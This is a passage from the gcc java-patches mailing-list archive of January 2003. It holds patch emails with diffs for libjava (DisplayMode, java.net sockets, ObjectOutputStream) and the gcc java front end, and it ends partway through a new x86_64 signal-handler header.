java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1519 invoked from network); 10 Jan 2003 03:39:30 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by 209.249.29.67 with SMTP; 10 Jan 2003 03:39:30 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id WAA27750; Thu, 9 Jan 2003 22:39:18 -0500 (EST) Date: Thu, 9 Jan 2003 22:39:18 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301100339.WAA27750@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch installed to eliminate useless casts in java dir These casts were only necessary in K&R mode when xmalloc et al. would return a "char *", aka "PTR". In ISO C (or GNUC) mode we always get a "void *" so casts aren't necessary. Feh, I just noticed that the decl.c hunk is missing from the patch below. Ah well, it's in here: http://gcc.gnu.org/ml/gcc-cvs/2003-01/msg00388.html Pre-approved in private email by Andrew Haley Tested on sparc-sun-solaris2.7. 2003-01-09 Kaveh R. Ghazi * decl.c, parse-scan.y, parse.y: Don't cast return value of xmalloc et al. diff -rup orig/egcc-CVS20030109/gcc/java/parse-scan.y egcc-CVS20030109/gcc/java/parse-scan.y --- orig/egcc-CVS20030109/gcc/java/parse-scan.y Thu Jan 9 18:13:20 2003 +++ egcc-CVS20030109/gcc/java/parse-scan.y Thu Jan 9 18:51:27 2003 @@ -109,8 +109,7 @@ struct method_declarator { }; #define NEW_METHOD_DECLARATOR(D,N,A) \ { \ - (D) = \ - (struct method_declarator *)xmalloc (sizeof (struct method_declarator)); \ + (D) = xmalloc (sizeof (struct method_declarator)); \ (D)->method_name = (N); \ (D)->args = (A); \ } @@ -1179,8 +1178,7 @@ constant_expression: void java_push_parser_context () { - struct parser_ctxt *new = - (struct parser_ctxt *) xcalloc (1, sizeof (struct parser_ctxt)); + struct parser_ctxt *new = xcalloc (1, sizeof (struct parser_ctxt)); new->next = ctxp; ctxp = new; @@ -1192,7 +1190,7 @@ push_class_context (name) { struct class_context *ctx; - ctx = (struct class_context *) xmalloc (sizeof (struct class_context)); + ctx = xmalloc (sizeof (struct class_context)); ctx->name = (char *) name; ctx->next = current_class_context; current_class_context = ctx; diff -rup orig/egcc-CVS20030109/gcc/java/parse.y egcc-CVS20030109/gcc/java/parse.y --- orig/egcc-CVS20030109/gcc/java/parse.y Thu Jan 9 18:49:00 2003 +++ egcc-CVS20030109/gcc/java/parse.y Thu Jan 9 18:52:20 2003 @@ -2192,10 +2192,10 @@ dims: { allocate *= sizeof (int); if (ctxp->osb_number) - ctxp->osb_number = (int *)xrealloc (ctxp->osb_number, - allocate); + ctxp->osb_number = xrealloc (ctxp->osb_number, + allocate); else - ctxp->osb_number = (int *)xmalloc (allocate); + ctxp->osb_number = xmalloc (allocate); } ctxp->osb_depth++; CURRENT_OSB (ctxp) = 1; @@ -2669,7 +2669,7 @@ create_new_parser_context (copy_from_pre { struct parser_ctxt *new; - new = (struct parser_ctxt *)xmalloc(sizeof (struct parser_ctxt)); + new = xmalloc (sizeof (struct parser_ctxt)); if (copy_from_previous) { memcpy (new, ctxp, sizeof (struct parser_ctxt)); @@ -5148,7 +5148,7 @@ static void create_jdep_list (ctxp) struct parser_ctxt *ctxp; { - jdeplist *new = (jdeplist *)xmalloc (sizeof (jdeplist)); + jdeplist *new = xmalloc (sizeof (jdeplist)); new->first = new->last = NULL; new->next = ctxp->classd_list; ctxp->classd_list = new; @@ -5203,7 +5203,7 @@ register_incomplete_type (kind, wfl, dec int kind; tree wfl, decl, ptr; { - jdep *new = (jdep *)xmalloc (sizeof (jdep)); + jdep *new = xmalloc (sizeof (jdep)); if (!ptr && kind != JDEP_METHOD_END) /* JDEP_METHOD_END is a mere marker */ ptr = obtain_incomplete_type (wfl); From java-patches-return-5778-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 10 09:44:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1052 invoked by alias); 10 Jan 2003 09:44:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1037 invoked from network); 10 Jan 2003 09:44:51 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 209.249.29.67 with SMTP; 10 Jan 2003 09:44:51 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-69-066.ewetel.net [80.228.69.66]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h0A9icsN012898 for ; Fri, 10 Jan 2003 10:44:38 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18WtQu-0001VA-01 for ; Fri, 10 Jan 2003 08:18:24 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: java.awt.DisplayMode Date: Fri, 10 Jan 2003 08:07:07 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Description: clearsigned data Content-Disposition: inline Content-Type: Multipart/Mixed; boundary="Boundary-00=_bEnH+chhNbII7i7" Message-Id: <200301100807.11173.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_bEnH+chhNbII7i7 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello list, I have made the DisplayMode class API compatible to the JDK. Please review and comment. When this get approved it can be commited to gcc 3.3 branch and to classpath cvs. Tom: Can you please commit it when it gets approved ? Regards, Michael - -- Homepage: http://www.worldforge.org/ GPG-key: http://konqueror.dyndns.org/~mkoch/michael.gpg -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+HnEfWSOgCCdjSDsRAguHAJ9T92ss3HbW+yUAu8MoR9YZZDvFTwCgigKw iZWfFSaYD8d7dVhNbOKgO9M= =bDo+ -----END PGP SIGNATURE----- --Boundary-00=_bEnH+chhNbII7i7 Content-Type: text/x-diff; charset="iso-8859-15"; name="java-awt-DisplayMode.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-awt-DisplayMode.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1624 diff -b -u -r1.1624 ChangeLog --- ChangeLog 7 Jan 2003 16:50:06 -0000 1.1624 +++ ChangeLog 10 Jan 2003 06:50:20 -0000 @@ -1,3 +1,8 @@ +2003-01-10 Michael Koch + + * java/awt/DisplayMode.java + (equals): Fixed argument type and implementation. + 2003-01-07 Tom Tromey * include/posix.h (_Jv_platform_usleep): Wrap in ifdef Index: java/awt/DisplayMode.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/DisplayMode.java,v retrieving revision 1.1 diff -b -u -r1.1 DisplayMode.java --- java/awt/DisplayMode.java 9 Aug 2002 04:26:14 -0000 1.1 +++ java/awt/DisplayMode.java 10 Jan 2003 06:50:20 -0000 @@ -140,16 +140,16 @@ * Test for equality. This returns true for two modes with identical * parameters. * - * @param o the object to compare to + * @param dm The display mode to compare to + * * @return true if it is equal */ - public boolean equals(Object o) + public boolean equals (DisplayMode dm) { - if (! (o instanceof DisplayMode)) - return false; - DisplayMode m = (DisplayMode) o; - return width == m.width && height == m.height && bitDepth == m.bitDepth - && refreshRate == m.refreshRate; + return width == dm.width + && height == dm.height + && bitDepth == dm.bitDepth + && refreshRate == dm.refreshRate; } /** --Boundary-00=_bEnH+chhNbII7i7-- From java-patches-return-5779-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 10 09:44:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1209 invoked by alias); 10 Jan 2003 09:44:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1051 invoked from network); 10 Jan 2003 09:44:52 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 209.249.29.67 with SMTP; 10 Jan 2003 09:44:52 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-69-066.ewetel.net [80.228.69.66]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h0A9idsM020105 for ; Fri, 10 Jan 2003 10:44:40 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18WtQu-0001VA-00 for ; Fri, 10 Jan 2003 08:18:24 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: java.net: little fixes Date: Fri, 10 Jan 2003 08:06:44 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_EEnH+lMk73t0ZwE" Message-Id: <200301100806.47120.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_EEnH+lMk73t0ZwE Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello list, I have made some more fixes in java.net. Please review and comment. This can perhaps get commited to gcc 3.3 branch too. Tom: Can you please commit it when it gets approved ? Regards, Michael - -- Homepage: http://www.worldforge.org/ GPG-key: http://konqueror.dyndns.org/~mkoch/michael.gpg -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+HnEHWSOgCCdjSDsRAolsAJ9oQ0X4CAo7mi2VI2lKsgrAd6xu8QCgoZIU inWejvt3Wz/xPLE/Uu/SaGk= =0GXe -----END PGP SIGNATURE----- --Boundary-00=_EEnH+lMk73t0ZwE Content-Type: text/x-diff; charset="iso-8859-15"; name="java-net.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-net.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1624 diff -b -u -r1.1624 ChangeLog --- ChangeLog 7 Jan 2003 16:50:06 -0000 1.1624 +++ ChangeLog 10 Jan 2003 06:47:05 -0000 @@ -1,3 +1,29 @@ +2003-01-10 Michael Koch + + * java/net/DatagramSocket.java + (ch): Description added. + (remotePort): Initialize with -1. + (connect): Doesnt throws SocketException. + * java/net/MulticastSocket.java + (setInterface): Merge with Classpath. + * java/net/NetPermission.java + (NetPermission): Dont implement java.io.Serializable directly, + no need for explicit serialVersionUID. + * java/net/ServerSocket.java + (closed): New member variable. + (bind): Check if socket is closed. + (close): Close an associated channel too, set new value to closed. + (isBound): Reindented. + (isClosed): Implemented. + * java/net/Socket.java + (closed): New member variable. + (bind): Check if socket is closed. + (connect): Check if socket is closed. + (close): Close an associated channel too, set new value to closed. + (isClosed): Implemented. + * java/net/SocketAddress.java + (SocketAddress): No need for explicit serialVersionUID. + 2003-01-07 Tom Tromey * include/posix.h (_Jv_platform_usleep): Wrap in ifdef Index: java/net/DatagramSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/DatagramSocket.java,v retrieving revision 1.17 diff -b -u -r1.17 DatagramSocket.java --- java/net/DatagramSocket.java 7 Jan 2003 08:26:02 -0000 1.17 +++ java/net/DatagramSocket.java 10 Jan 2003 06:47:06 -0000 @@ -72,6 +72,10 @@ */ DatagramSocketImpl impl; + /** + * The unique DatagramChannel object associated with this datagram socket, + * or null. + */ DatagramChannel ch; /** @@ -82,7 +86,7 @@ /** * This is the port we are "connected" to */ - private int remotePort; + private int remotePort = -1; /** * Creates a DatagramSocket from a specified DatagramSocketImpl instance @@ -439,7 +443,6 @@ * @since 1.2 */ public void connect(InetAddress address, int port) - throws SocketException { if (address == null) throw new IllegalArgumentException ("Address may not be null"); @@ -451,10 +454,15 @@ if (sm != null) sm.checkAccept(address.getHostName (), port); + try + { impl.connect (address, port); - remoteAddress = address; remotePort = port; + } + catch (SocketException e) + { + } } /** Index: java/net/MulticastSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/MulticastSocket.java,v retrieving revision 1.16 diff -b -u -r1.16 MulticastSocket.java --- java/net/MulticastSocket.java 10 Oct 2002 05:19:22 -0000 1.16 +++ java/net/MulticastSocket.java 10 Jan 2003 06:47:07 -0000 @@ -1,5 +1,6 @@ /* MulticastSocket.java -- Class for using multicast sockets - Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 + Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -163,13 +164,15 @@ /** * Sets the interface to use for sending multicast packets. * - * @param inf The new interface to use + * @param addr The new interface to use. * - * @exception SocketException If an error occurs + * @exception SocketException If an error occurs. + * + * @since 1.4 */ - public void setInterface(InetAddress inf) throws SocketException + public void setInterface(InetAddress addr) throws SocketException { - impl.setOption(SocketOptions.IP_MULTICAST_IF, inf); + impl.setOption(SocketOptions.IP_MULTICAST_IF, addr); } /** Index: java/net/NetPermission.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/NetPermission.java,v retrieving revision 1.3 diff -b -u -r1.3 NetPermission.java --- java/net/NetPermission.java 25 Sep 2002 17:14:09 -0000 1.3 +++ java/net/NetPermission.java 10 Jan 2003 06:47:07 -0000 @@ -48,10 +48,7 @@ * @author Aaron M. Renn (arenn@urbanophile.com) */ public final class NetPermission extends BasicPermission - implements java.io.Serializable { - static final long serialVersionUID = -8343910153355041693L; - /** * Initializes a new instance of NetPermission with the * specified name. Index: java/net/ServerSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/ServerSocket.java,v retrieving revision 1.18 diff -b -u -r1.18 ServerSocket.java --- java/net/ServerSocket.java 20 Nov 2002 16:19:07 -0000 1.18 +++ java/net/ServerSocket.java 10 Jan 2003 06:47:07 -0000 @@ -77,6 +77,8 @@ */ private ServerSocketChannel ch; + private boolean closed = false; + /** * Constructor that simply sets the implementation. * @@ -200,6 +202,9 @@ */ public void bind (SocketAddress endpoint, int backlog) throws IOException { + if (closed) + throw new SocketException ("ServerSocket is closed"); + if (impl == null) throw new IOException ("Cannot initialize Socket implementation"); @@ -315,7 +320,13 @@ */ public void close () throws IOException { - impl.close(); + if (impl != null) + impl.close (); + + if (ch != null) + ch.close (); + + closed = true; } /** @@ -358,8 +369,7 @@ */ public boolean isClosed() { - // FIXME: implement this - return false; + return closed; } /** Index: java/net/Socket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/Socket.java,v retrieving revision 1.17 diff -b -u -r1.17 Socket.java --- java/net/Socket.java 7 Dec 2002 01:19:02 -0000 1.17 +++ java/net/Socket.java 10 Jan 2003 06:47:07 -0000 @@ -85,6 +85,8 @@ SocketChannel ch; // this field must have been set if created by SocketChannel + private boolean closed = false; + // Constructors /** @@ -308,6 +310,9 @@ */ public void bind (SocketAddress bindpoint) throws IOException { + if (closed) + throw new SocketException ("Socket is closed"); + if ( !(bindpoint instanceof InetSocketAddress)) throw new IllegalArgumentException (); @@ -330,6 +335,9 @@ public void connect (SocketAddress endpoint) throws IOException { + if (closed) + throw new SocketException ("Socket is closed"); + if (! (endpoint instanceof InetSocketAddress)) throw new IllegalArgumentException ("Address type not supported"); @@ -357,6 +365,9 @@ public void connect (SocketAddress endpoint, int timeout) throws IOException { + if (closed) + throw new SocketException ("Socket is closed"); + if (! (endpoint instanceof InetSocketAddress)) throw new IllegalArgumentException ("Address type not supported"); @@ -853,6 +864,11 @@ { if (impl != null) impl.close(); + + if (ch != null) + ch.close(); + + closed = true; } /** @@ -1035,8 +1051,7 @@ */ public boolean isClosed () { - // FIXME: implement this. - return false; + return closed; } /** Index: java/net/SocketAddress.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/SocketAddress.java,v retrieving revision 1.3 diff -b -u -r1.3 SocketAddress.java --- java/net/SocketAddress.java 18 Nov 2002 13:22:51 -0000 1.3 +++ java/net/SocketAddress.java 10 Jan 2003 06:47:07 -0000 @@ -48,8 +48,6 @@ */ public abstract class SocketAddress implements Serializable { - static final long serialVersionUID = 5215720748342549866L; - /** * Initializes the socket address. */ --Boundary-00=_EEnH+lMk73t0ZwE-- From java-patches-return-5780-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 10 09:59:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9052 invoked by alias); 10 Jan 2003 09:59:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9041 invoked from network); 10 Jan 2003 09:59:19 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 209.249.29.67 with SMTP; 10 Jan 2003 09:59:19 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-69-066.ewetel.net [80.228.69.66]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h0A9x5fT026496 for ; Fri, 10 Jan 2003 10:59:06 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18WvwP-0001sz-00 for ; Fri, 10 Jan 2003 10:59:05 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: java.io.ObjectOutputStream Date: Fri, 10 Jan 2003 11:02:57 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_RppH+cFsE8vK8hR" Message-Id: <200301101103.01139.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_RppH+cFsE8vK8hR Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I have written little patch to make java.io.ObjectOutputStream more in line with classpath. This patch simply reformats the code and does no code or documentation changes. Please review and comment. Tom: If this get accepted can you please commit it for me ? Perhaps to gcc 3.3 branch too ? Michael - -- Homepage: http://www.worldforge.org/ GPG-key: http://konqueror.dyndns.org/~mkoch/michael.gpg -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+HppVWSOgCCdjSDsRArqzAKCDumOwDHjn3JhscHUr2hqRZ5037ACeIO5x uE4czTtIFjQyN3k6xzypigo= =cVYe -----END PGP SIGNATURE----- --Boundary-00=_RppH+cFsE8vK8hR Content-Type: text/x-diff; charset="iso-8859-15"; name="java-io-ObjectOutputStream.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-io-ObjectOutputStream.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1624 diff -b -u -r1.1624 ChangeLog --- ChangeLog 7 Jan 2003 16:50:06 -0000 1.1624 +++ ChangeLog 10 Jan 2003 09:47:07 -0000 @@ -1,3 +1,8 @@ +2003-01-10 Michael Koch + + * java/io/ObjectOutputStream.java: + Reformated, no code or documentation changes. + 2003-01-07 Tom Tromey * include/posix.h (_Jv_platform_usleep): Wrap in ifdef Index: java/io/ObjectOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectOutputStream.java,v retrieving revision 1.10 diff -b -u -r1.10 ObjectOutputStream.java --- java/io/ObjectOutputStream.java 22 Jan 2002 22:40:14 -0000 1.10 +++ java/io/ObjectOutputStream.java 10 Jan 2003 09:47:08 -0000 @@ -515,19 +515,34 @@ /** - An empty hook that allows subclasses to write extra information - about classes to the stream. This method is called the first - time each class is seen, and after all of the standard - information about the class has been written. - - @exception IOException Exception from underlying - OutputStream. - - @see java.io.ObjectInputStream#resolveClass (java.io.ObjectStreamClass) + * An empty hook that allows subclasses to write extra information + * about classes to the stream. This method is called the first + * time each class is seen, and after all of the standard + * information about the class has been written. + * + * @exception IOException Exception from underlying + *OutputStream. + * + * @see java.io.ObjectInputStream#resolveClass (java.io.ObjectStreamClass) */ protected void annotateClass (Class cl) throws IOException - {} + { + } + /** + * An empty hook that allows subclasses to write extra information + * about classes to the stream. This method is called the first + * time each class is seen, and after all of the standard + * information about the class has been written. + * + * @exception IOException Exception from underlying + * OutputStream. + * + * @see java.io.ObjectInputStream#resolveClass (java.io.ObjectStreamClass) + */ + protected void annotateProxyClass(Class cl) throws IOException + { + } /** Allows subclasses to replace objects that are written to the @@ -626,6 +641,16 @@ throw new NotActiveException ("Subclass of ObjectOutputStream must implement writeObjectOverride"); } + protected void writeClassDescriptor (ObjectStreamClass desc) + throws IOException + { + throw new Error ("Not implemented"); + } + + public void writeUnshared (Object obj) throws IOException + { + throw new Error ("Not implemented"); + } /** @see java.io.DataOutputStream#write (int) @@ -825,24 +850,15 @@ */ public static abstract class PutField { - public abstract void put (String name, boolean value) - throws IOException, IllegalArgumentException; - public abstract void put (String name, byte value) - throws IOException, IllegalArgumentException; - public abstract void put (String name, char value) - throws IOException, IllegalArgumentException; - public abstract void put (String name, double value) - throws IOException, IllegalArgumentException; - public abstract void put (String name, float value) - throws IOException, IllegalArgumentException; - public abstract void put (String name, int value) - throws IOException, IllegalArgumentException; - public abstract void put (String name, long value) - throws IOException, IllegalArgumentException; - public abstract void put (String name, short value) - throws IOException, IllegalArgumentException; - public abstract void put (String name, Object value) - throws IOException, IllegalArgumentException; + public abstract void put (String name, boolean value); + public abstract void put (String name, byte value); + public abstract void put (String name, char value); + public abstract void put (String name, double value); + public abstract void put (String name, float value); + public abstract void put (String name, int value); + public abstract void put (String name, long value); + public abstract void put (String name, short value); + public abstract void put (String name, Object value); public abstract void write (ObjectOutput out) throws IOException; } @@ -859,7 +875,6 @@ = new Object[currentObjectStreamClass.objectFieldCount]; public void put (String name, boolean value) - throws IOException, IllegalArgumentException { ObjectStreamField field = currentObjectStreamClass.getField (name); @@ -868,7 +883,6 @@ } public void put (String name, byte value) - throws IOException, IllegalArgumentException { ObjectStreamField field = currentObjectStreamClass.getField (name); @@ -877,7 +891,6 @@ } public void put (String name, char value) - throws IOException, IllegalArgumentException { ObjectStreamField field = currentObjectStreamClass.getField (name); @@ -888,7 +901,6 @@ } public void put (String name, double value) - throws IOException, IllegalArgumentException { ObjectStreamField field = currentObjectStreamClass.getField (name); @@ -906,7 +918,6 @@ } public void put (String name, float value) - throws IOException, IllegalArgumentException { ObjectStreamField field = currentObjectStreamClass.getField (name); @@ -920,7 +931,6 @@ } public void put (String name, int value) - throws IOException, IllegalArgumentException { ObjectStreamField field = currentObjectStreamClass.getField (name); @@ -933,7 +943,6 @@ } public void put (String name, long value) - throws IOException, IllegalArgumentException { ObjectStreamField field = currentObjectStreamClass.getField (name); @@ -950,7 +959,6 @@ } public void put (String name, short value) - throws IOException, IllegalArgumentException { ObjectStreamField field = currentObjectStreamClass.getField (name); @@ -961,7 +969,6 @@ } public void put (String name, Object value) - throws IOException, IllegalArgumentException { ObjectStreamField field = currentObjectStreamClass.getField (name); --Boundary-00=_RppH+cFsE8vK8hR-- From java-patches-return-5781-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 10 11:14:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6683 invoked by alias); 10 Jan 2003 11:14:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6543 invoked from network); 10 Jan 2003 11:14:02 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 209.249.29.67 with SMTP; 10 Jan 2003 11:14:02 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-69-191.ewetel.net [80.228.69.191]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h0ABDlsN006638 for ; Fri, 10 Jan 2003 12:13:47 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18Wx6h-0002Ah-00 for ; Fri, 10 Jan 2003 12:13:47 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: java.io.ObjectOutputStream Date: Fri, 10 Jan 2003 11:17:33 +0100 User-Agent: KMail/1.5 References: <200301101103.01139.konqueror@gmx.de> In-Reply-To: <200301101103.01139.konqueror@gmx.de> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200301101117.36531.konqueror@gmx.de> X-CheckCompat: OK -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Freitag, 10. Januar 2003 11:02 schrieb Michael Koch: > Hi list, > > > I have written little patch to make java.io.ObjectOutputStream more > in line with classpath. This patch simply reformats the code and > does no code or documentation changes. Please review and comment. > > Tom: If this get accepted can you please commit it for me ? Perhaps > to gcc 3.3 branch too ? Please all: forget this patch, I send the wrong one, will resend it later. Michael - -- Homepage: http://www.worldforge.org/ GPG-key: http://konqueror.dyndns.org/~mkoch/michael.gpg -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Hp3AWSOgCCdjSDsRAiwFAJ0VaJdZUd1eWozP6aSTl+b1qmp4LACfX0R5 /2Bvtyb9mbU/uEPLUOYTWzA= =ALoK -----END PGP SIGNATURE----- From java-patches-return-5782-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 10 11:27:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9175 invoked by alias); 10 Jan 2003 11:27:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9154 invoked from network); 10 Jan 2003 11:27:10 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by 209.249.29.67 with SMTP; 10 Jan 2003 11:27:10 -0000 Received: from cuddles.cambridge.redhat.com (vpnuser1.stuttgart.redhat.com [172.16.4.1]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 035BCABAF8; Fri, 10 Jan 2003 11:26:58 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0ABRQk15557; Fri, 10 Jan 2003 11:27:26 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15902.44574.85768.889028@cuddles.cambridge.redhat.com> Date: Fri, 10 Jan 2003 11:27:26 +0000 (GMT) To: java-patches@gcc.gnu.org Subject: x86_64 support Fix x86_64 bugs. Andrew. 2003-01-10 Andrew Haley * include/dwarf2-signal.h: Remove x86_64. * configure.host (x86_64 DIVIDESPEC): Remove. * include/x86_64-signal.h: New file. * configure.in: Regenerate. Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.143 diff -c -2 -p -r1.143 configure.in *** configure.in 16 Dec 2002 18:22:52 -0000 1.143 --- configure.in 10 Jan 2003 11:18:12 -0000 *************** case "${host}" in *** 917,921 **** ;; x86_64*-*-linux*) ! SIGNAL_HANDLER=include/dwarf2-signal.h ;; sparc*-*-linux*) --- 917,921 ---- ;; x86_64*-*-linux*) ! SIGNAL_HANDLER=include/x86_64-signal.h ;; sparc*-*-linux*) Index: configure.host =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.host,v retrieving revision 1.40 diff -c -2 -p -r1.40 configure.host *** configure.host 16 Dec 2002 18:22:52 -0000 1.40 --- configure.host 10 Jan 2003 11:18:12 -0000 *************** case "${host}" in *** 102,106 **** libgcj_cxxflags="-D__NO_MATH_INLINES" libgcj_cflags="-D__NO_MATH_INLINES" - DIVIDESPEC=-fno-use-divide-subroutine enable_hash_synchronization_default=yes slow_pthread_self=yes --- 102,105 ---- Index: include/dwarf2-signal.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/dwarf2-signal.h,v retrieving revision 1.12 diff -c -2 -p -r1.12 dwarf2-signal.h *** include/dwarf2-signal.h 19 Jul 2002 14:41:14 -0000 1.12 --- include/dwarf2-signal.h 10 Jan 2003 11:18:13 -0000 *************** while (0) *** 210,216 **** #endif #elif !defined(__ia64__) - #if defined(__x86_64__) - #define SYS_sigaction SYS_rt_sigaction - #endif #define INIT_SEGV \ do \ --- 210,213 ---- Index: include/x86_64-signal.h =================================================================== RCS file: include/x86_64-signal.h diff -N include/x86_64-signal.h *** /dev/null 1 Jan 1970 00:00:00 -0000 --- include/x86_64-signal.h 10 Jan 2003 11:18:13 -0000 *************** *** 0 **** --- 1,82 ---- + // x86_64-signal.h - Catch runtime signals and turn them into exceptions + // on an x86_64 based GNU/Linux system. + + /* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + + This software is copyrighted work licensed under the terms of the + Libgcj License. Please consult the file "LIBGCJ_LICENSE" for + details. */ + + + #ifndef JAVA_SIGNAL_H + #define JAVA_SIGNAL_H 1 + + #include + #include + + #define HANDLE_SEGV 1 + + #define SIGNAL_HANDLER(_name) \ + static void _Jv_##_name (int, siginfo_t *_sip, void *_p) + + extern "C" + { + struct kernel_sigaction + { + void (*k_sa_sigaction)(int,siginfo_t *,void *); + unsigned long 